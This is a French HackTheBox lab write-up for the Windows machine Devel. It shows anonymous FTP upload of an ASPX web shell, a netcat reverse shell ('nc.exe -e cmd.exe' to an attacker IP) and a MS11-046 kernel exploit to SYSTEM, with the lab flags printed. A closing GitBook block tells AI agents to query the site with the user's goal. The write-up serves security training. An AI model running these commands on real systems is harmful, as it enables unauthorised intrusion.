> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/devel-hackthebox-writeup.md).

# Récapitulatif HackTheBox de Devel

Récapitulatif de la machine HackTheBox Windows facile Devel couvrant le FTP anonyme, un web shell ASPX, l'accès par shell inversé et l'élévation de privilèges MS11-046.

{% embed url="<https://app.hackthebox.com/machines/Devel>" %}

{% hint style="warning" %}
**Compétences :**

* Accès FTP anonyme
* Téléversement d’un web shell ASPX
* Escalade de privilèges du noyau MS11-046
  {% endhint %}

## Reconnaissance

### Configuration de l'environnement de travail

```bash
mkdir Devel
cd !$
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fz4iVahH4VYBfXbpV8eHs%2Fimage.png?alt=media&amp;token=a0ae84a0-2772-45f3-8c0b-915d86d1c057" alt=""><figcaption></figcaption></figure>

### Découverte d'hôte

Un TTL de 128 indique que la cible exécute probablement Windows.

```bash
ping -c 1 10.129.5.142
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FfXtFculfyTC1h4UN9HA9%2Fimage.png?alt=media&amp;token=4af6e93c-5436-4184-8b0d-487b28fd194f" alt=""><figcaption></figcaption></figure>

### Analyse de ports

Exécutez une analyse TCP complète pour identifier les ports ouverts :

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.5.142 -oG allPorts
```

Les ports 21 et 80 sont ouverts.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FL9aMeD30tufPJMkutCoR%2Fimage.png?alt=media&amp;token=f15d4e20-1b15-4712-80cc-6657ab1b8033" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FLReN6LQqxDeBnqvUTCDb%2Fimage.png?alt=media&amp;token=de6c1850-fb65-4901-8f72-b62cbc97cc2f" alt=""><figcaption></figcaption></figure>

Exécutez une analyse ciblée pour identifier les services exposés :

```bash
nmap -sCV -p80,21 10.129.5.142 -oN targeted
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fmnij8THATjZ8g4ZjxIQn%2Fimage.png?alt=media&amp;token=ffff96b7-0056-4268-b883-d0469fd24cb6" alt=""><figcaption></figcaption></figure>

## Accès initial

### Accès FTP anonyme

Le FTP accepte l'authentification anonyme et est mappé vers le serveur web sur le port 80.

Listez le répertoire FTP après authentification :

```bash
ftp anonymous@10.129.5.142
ls
```

Le répertoire contient `aspnet_client`, `iisstart.htm`, et `welcome.png`. Ce sont des fichiers standard de la racine Web d'IIS.

Le serveur web affiche l'image par défaut `welcome.png` image.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FqJOibaMxPs58pwHfT6W6%2Fimage.png?alt=media&amp;token=fdf8d49e-bd00-4535-b1d3-abac5fe3578c" alt=""><figcaption></figcaption></figure>

Créez un fichier de test localement et téléversez-le pour vérifier les permissions d'écriture :

```bash
echo test > test.txt
put test.txt
```

Le téléversement réussit. L'accès à `http://10.129.5.142/test.txt` confirme que les téléversements FTP sont servis par IIS.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FyYBBE2RzFrpPEW7py7bQ%2Fimage.png?alt=media&amp;token=f607ee4a-13a9-498c-b732-3f4c59ebce47" alt=""><figcaption></figcaption></figure>

### Web shell ASPX

{% embed url="<https://raw.githubusercontent.com/cldrn/davtest/refs/heads/master/backdoors/aspx_cmd.aspx>" %}

Téléchargez le web shell ASPX :

```bash
wget https://raw.githubusercontent.com/cldrn/davtest/refs/heads/master/backdoors/aspx_cmd.aspx
```

Téléversez-le via FTP :

```bash
put aspx_cmd.aspx
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FE9ttWludWFC2tkuznGAG%2Fimage.png?alt=media&amp;token=3776dbaf-0a57-479a-8a8e-db5d987ae7b5" alt=""><figcaption></figcaption></figure>

Ouvrir `http://10.129.5.142/aspx_cmd.aspx` pour exécuter des commandes.

Le web shell fournit une exécution de commandes à distance :

```bash
whoami

iis apppool\web
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FdFKOfuuwj2TPzyodcVbk%2Fimage.png?alt=media&amp;token=40a46aec-a3cd-4c0a-984d-ec62a3e1cdb5" alt=""><figcaption></figcaption></figure>

### Shell inversé

Copier `nc.exe` dans le répertoire courant. Ce binaire crée le shell Windows interactif :

```bash
cp /usr/share/seclists/Web-Shells/FuzzDB/nc.exe .
```

Démarrez un serveur SMB pour partager l'exécutable :

```bash
sudo ~/.local/bin/smbserver.py smbFolder $(pwd) -smb2support
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FwaC1kzpy1cpgeD5XVZGM%2Fimage.png?alt=media&amp;token=645c4df5-b8a4-49ce-adca-36edc0d36343" alt=""><figcaption></figcaption></figure>

Démarrez un écouteur sur le port 4444 :

```bash
sudo rlwrap nc -nvlp 4444
```

Exécutez ces commandes via le web shell. La première commande copie Netcat depuis le partage SMB. La seconde se connecte de nouveau à l'écouteur :

```bash
copy \\10.10.15.2\smbFolder\nc.exe C:\Users\Public\nc.exe
C:\Users\Public\nc.exe -e cmd.exe 10.10.15.2 4444
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fv0OkM4vxZC9YIafJ59ij%2Fimage.png?alt=media&amp;token=60555128-ac81-4ea7-bd7a-2a4c744d830c" alt=""><figcaption></figcaption></figure>

Le shell s'exécute en tant que `iis apppool\web`. Ce compte dispose de privilèges limités.

## Élévation de privilèges

### Informations système

```bash
systeminfo
```

Cela révèle la version de Windows et les détails du système.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FmJtacSqDEVkpf5IvAYqm%2Fimage.png?alt=media&amp;token=41d0b418-17d5-46ae-bd4a-42960041c6da" alt=""><figcaption></figcaption></figure>

La cible exécute Windows 7 Enterprise.

### MS11-046

`systeminfo` identifie Windows 7 Enterprise, build `7600`. Cette version non corrigée est une candidate pour des exploits locaux connus du noyau.

MS11-046 est une vulnérabilité d'escalade de privilèges locale. Elle nécessite une exécution de code existante sur l'hôte. Elle n'exploite pas SMB à distance.

Utilisez l'exploit du noyau MS11-046 :

{% embed url="<https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS11-046>" %}

Clonez le dépôt de l'exploit :

```bash
git clone https://github.com/SecWiki/windows-kernel-exploits
```

Accédez au répertoire de l'exploit :

```bash
cd windows-kernel-exploits/MS11-046
```

Partagez l'exécutable avec la cible via SMB :

```bash
sudo ~/.local/bin/smbserver.py smbFolder $(pwd) -smb2support
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FFKGLOspF5XXbVzNS0nhu%2Fimage.png?alt=media&amp;token=ed0e4934-9446-4a37-a0b9-4f63a8d7b978" alt=""><figcaption></figcaption></figure>

Copiez l'exécutable depuis le shell Windows vers un répertoire inscriptible :

```bash
copy \\10.10.15.2\smbFolder\ms11-046.exe c:\Users\Public\Downloads\ms11-046.exe
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FTFuvckB7zhHI6lzyPBiU%2Fimage.png?alt=media&amp;token=1526dd9f-ca48-4372-8029-091686284ad9" alt=""><figcaption></figcaption></figure>

Confirmez l'utilisateur actuel, puis exécutez l'exploit :

```bash
whoami

iis apppool\web
```

```bash
.\ms11-046.exe
```

L'exploit renvoie un `NT AUTHORITY\SYSTEM` shell :

```bash
whoami

nt authority\system
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F5wMT6aqI3cn98l3oUXLQ%2Fimage.png?alt=media&amp;token=47d2555d-209e-46ed-8f87-f4f94ff750ff" alt=""><figcaption></figcaption></figure>

## Drapeaux

```bash
type c:\Users\babis\Desktop\user.txt

0efea4c5e140c594ce1ca88594b3d7dc

type c:\Users\Administrator\Desktop\root.txt

3d360ef3c74b5936a51971a8f7383c11
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FYohn6XMprPHG4De7A8L7%2Fimage.png?alt=media&amp;token=d6d20faf-f996-41ae-b13c-da2055f3f5ea" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/devel-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
